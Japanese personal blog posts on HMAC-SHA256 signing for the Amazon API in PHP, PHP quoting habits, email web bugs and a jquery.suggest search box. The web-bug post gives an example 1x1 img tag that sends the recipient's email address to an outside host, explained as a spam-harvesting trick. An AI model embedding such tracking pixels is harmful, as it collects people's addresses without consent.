だそうです.まぁ,使ってないので関係ないですけど.REST的にはHMAC-SHAですよね.そんな理由で,WAISの発表の署名部分はHMAC-SHA256を採用していたんですけど,座長に「非対称オススメ」って言われちゃったので,うん・・・.英語力がないから言い返せない辺り,弱い.研究的な話でいけば,確かにPKI上でやるんだろうし,RSA-SHA256とかでいいかもしれない.いいかもしれなくないのは,URL長の問題だけど,これはRFC2616的には規定がない.RFCに規定がないからって制限がないわけでもないわけで,理論上は大丈夫とか,モダンブラウザでは大丈夫とか,そんな次元.個人的には携帯のブラウザでも大丈夫なように,HMAC-SHA256くらいの長さが関の山だと思うのです.RSA-SHA256は長すぎです.REST的に気分イクナイ!楕円曲線上の離散対数問題が云々だから,160bitって言えばいいのかな?簡単に実装できなさそうだから言いたくないけど.

と,今書いている論文の愚痴をこぼしても〆切が延びるわけでも,時間が増えるわけでも,執筆速度が上がるわけでも,なんでもないので,さっさと大人しく書けと,オレはオレに言いたい.

さて,タイトルと内容が不一致になっているので,HMAC-SHA256を実装する時の話をチラッと書いて,お茶を濁しておく.PHPでHMAC-SHA256する話.非常に簡単だから,良かったね.

algo
選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など…)。

PHP: hash_hmac - Manual

さて,眠いので寝ると見せかけて,3章を仕上げる.

関連:
[を] アマゾンAPIを使うのに2009年8月15日から認証が必要になるらしい

200905102316追記:
PHPでこれら云々を簡単にやるPEARがあるようだ.Services_Amazonっていうらしい.便利な世の中です.なお,Perlの場合はdankogai氏作成のURI::Amazon::APAが使えるっぽい.良い世の中だ.なお,Rubyの場合はここが参考になるかと.

200905110122追記:
各言語用のまとめがありました.PHP,Perl,Ruby,Pythonがあります.Javaとか,JavaScriptとかはないですね.てか,みんなは一体なんの言語で書いているんだろう?オレなら,PHPかPerlですね.Rubyもいいなぁ・・・.

200905111052追記:
むしゃくしゃしてサンプルを書いてみた@PHP.

<?php
$key = '1234567890';
$req = array(
'AWSAccessKeyId=00000000000000000000',
'ItemId=0679722769',
'Operation=ItemLookup',
'ResponseGroup=ItemAttributes%2COffers%2CImages%2CReviews',
'Service=AWSECommerceService',
'Timestamp=2009-01-01T12%3A00%3A00Z',
'Version=2009-01-06');
$req = join('&', $req);
$message = array('GET', 'webservices.amazon.com', '/onca/xml', $req);
$message = join("\n", $message);
$hash = hash_hmac('sha256', $message, $key, 'true');
echo base64_encode($hash);
?>

今までphpで"(ダブルクォート)と、'(シングルクォート)を使い分ける際、多少の基準はあれど、割と雰囲気でやってしまってました。

phpにおける、"(ダブルクォート)と、'(シングルクォート)の使い分け - カサヒラボ

両方使えることは知っていたけど,オレも雰囲気でやっていた.基本的には,CやJavaの慣れから,デフォがダブルクォートで,HTMLをechoするときにシングルクォートという感じでした.そして,その基本方針は完全に間違っていた.

文字列内での変数展開

  1. "(ダブルクォート)で括った場合とヒアドキュメントでは変数展開される
  2. '(シングルクォート)で括った場合には変数展開されない

PHPスクリプト講座:文字列内での変数展開 -- そふぃのphp入門

ひぃ.オレのでたらめさ加減が,ばれまくり.適当じゃダメじゃないですか!てか,ヒアドキュメントで変数展開できるのか・・・.echo祭やってたよw.しかも,こんな情報まで・・・.

この結果を見ると、シングルクォート連結が一番速いようだ。
最も速かった回数は、シングルクォート連結がほぼ確実に一番だ。
しかし、平均処理時間はシングルクォート連結が速いときと
ダブルクォート連結が速いときがある。

Forget It Not: PHPの文字列連結のスピード

ダブルクォートに結合演算子で繋ぎまくってたオレ,完全に涙目.ダメコーディングの極み.というわけで,まだ時間があるから,激しく全コードをリファインしようかなっと.

研究室でスパムメールの話題になって「えっ!?」って話になったので,折角だから広く世に知らしめておく.スパムメールはうっかり開くだけでも,危険(有効なメアドが収集される的な意味で)ですからー!残念っ!

例えば,こんなメール.

081217_gmail01.png

日経ビジネスオンラインのメールですが,別に悪意があるわけではありません.たまたま参考例に良かったから出してみただけです.他意はない.ボクが使っているメールクライアントはGmailなんですが,画像が入っているメールは画像非表示で表示されます.これは何故か.

  1. 低速モバイル環境で従量制課金かもしれないから
  2. エロ画像が表示されて社内コンプライアンス的にヤバメだとヤバイから
  3. その他

こんな理由が挙げられるかと思いますが,どれも理にかなっていると思いますが,なんとなく3かなって.それは何故か.何故なのか.上の図にある「次の画像を表示」をクリックすると,画像が表示されるようになります.

081217_gmail02.png

こんな感じになります.ほうほう.画像によるリンクですね.別に,テキストアンカーでもいいと思うんですが・・・.それはそれとして,じゃぁ,これはどうやって表示されているの?メールに画像ファイルが添付されてくるの?ノンノンノン.ヘッダ情報を見てみましょう.関係ありそうな場所を抜粋.

081217_gmail03.png

普通にサーバからhttpで画像を読み込んでます.つまり,さっきの「次の画像を表示」ってのはそういう意味なんです.「外部とアクセスして画像ファイル(だと思われるもの)を取得するけど良い系?」って尋ねられているんです.えぇ.これはまずいですね.まずいですよね.いや,日経ビジネスオンラインがまずいわけではなく,これは悪用できますよねって話.

例えば,imgタグが次のように書かれていたら,どうなるだろうか?

<img src="http://example.com/?hoge@example.net" height="1" width="1" />

ほら!まずいでしょ?このメールはhoge@example.net宛に送られてきたとすれば,URLパラメータとして,hoge@example.netが送信されてしまうよ.「ぇ?だってこれ,画像ファイルじゃないじゃん!スクリプトじゃん!」って思った人は賢い.賢くてやられる.PHP+GDでimgタグのsrcにPHPを指定して画像を得る方法があるんです.クール!

ということは, 上の例ではWebバグっぽく1ドットの例を挙げましたが,実際は何だってよくって,「ご当選おめでとうございます」だっていいんですよ.要は,送りつけたメールに書かれているコードを使って,サーバにアクセスさせられさえすればok.あ.ちなみに「Webバグ」って,不良品やら欠陥を示すbugではなく,虫って意味の方のbugです.別に,ブラウザやメールクライアントの脆弱性じゃないです.あしからず.

でもでも,こういう説明をしちゃうと「Webバグって悪いやつだ!」って思われるかもしれませんが,いわゆるアクセス解析にも使われますし,閲覧者数を確認するのにも使われます.

081217_nikkeibp01.png

つまり,こういう使われ方ですね.わかります.これは日経ビジネスオンラインの例です(ぁれ?.

ちなみに,開封確認を使う方法もあるので,こっちも注意.まさか,常に送信なんてことはないですよねぇ・・・.

というわけで,これらの方法によって,無差別にメールを送りつけて,その中から有効なメールアドレスを収集することができます.そんな理由もあるので,ボクはHTMLメールは好きじゃないです.必要があれば,それはそれで別に仕方がないと思いますが,全く持ってプレーンテキストでも良さそうなのに,HTMLメールだと萎えます.OEにありがちなので,何とかして下さいorz.

まとめ:
迷惑メールは閲覧するだけでも危険(有効なメアドが収集される的な意味で)な場合があることを理解しておく.その上で,迷惑メールを閲覧して,ニヤニヤしつつ,楽しむ.enjoy!

PHPでコードを書いたのは久しぶりだ.久しぶり過ぎて,いつ以来だろう.タグクラウドはperlだったから・・・.あぁDAI-HIPsを実装した時だから,07年夏かな.たまに書くと熱が入って良いね.これから卒研は佳境に入るから,CかJava一辺倒になるんだろうなぁ.また思い出した頃に,いつもと違う言語でコードを書いてリフレッシュしたいなっと.

というわけで,今回は所用でメール送信フォームを作りました.たぶん,真面目に探せば,その辺にフリーのコードが落ちているんだろうけど,機能が多すぎたり,逆に足りなかったり,カスタマイズが難しかったりで,要求に即したものがぱっと見で見当たらなかったので,フルスクラッチしてみた.いや,全然フルじゃないけど.フルスクラッチって言ってみたかっただけです.さーせん.以下,参考にした情報をぺたぺた.

苦労したのは,主に正規表現.つまりは,validator.jsです.これ,大変に良くできていて,便利です.便利だから,拡張してルールを追加しようとしたんだが,如何せん正規表現苦手っ子なので,単純な正規表現を作るのに四苦八苦.そんなんで自然言語処理とか,片腹痛すぎるわ.ちなみに,このvalidator.jsはコメント21で指摘されているように,長音記号をチェックできません.そういう時には文字コード表ですよね.わかります.

jQuery用プラグイン「jquery.suggest」を使って入力補完機能を実装してみる : アシアルブログ

面白そうだったので,実装してみた.簡単すぎて,拍子抜け.

jquery.suggestのサイト等から以下の4ファイルを入手する.

search.phpsは参考にするだけなので,実際には使わなかったです・・・.続いて,MT側にテンプレートを作成します.インデックステンプレートに新しいカスタムインデックステンプレートを作成します.ファイル名等は適当に決めて下さい.コードも一部書き換えています.

080518_jquery1.png

このテンプレートによって作成されるsearch.phpは以下のような感じ.一部抜粋.

080518_jquery2.png

ここまでできれば,完成したようなもの.次に,検索窓がどのような設定になっているかを,適切なテンプレートを開くか,ページのソースを開くか何かして,確認します.

080518_jquery3.png

このブログではid="search"が設定されていることが確認できます.仕上げに,jqueryなスクリプトが走るように,ヘッダを書き換える.モジュールテンプレートのヘッダに次のように追記する.

080518_jquery4.png

赤線を引いた部分が検索窓のidと一致するようにします.気をつけるのはそこだけ.簡単だねっ!

実装結果

080518_jquery5.png

ね.簡単でしょ?(ボブ風)

プロフィール

e-m@il @ddress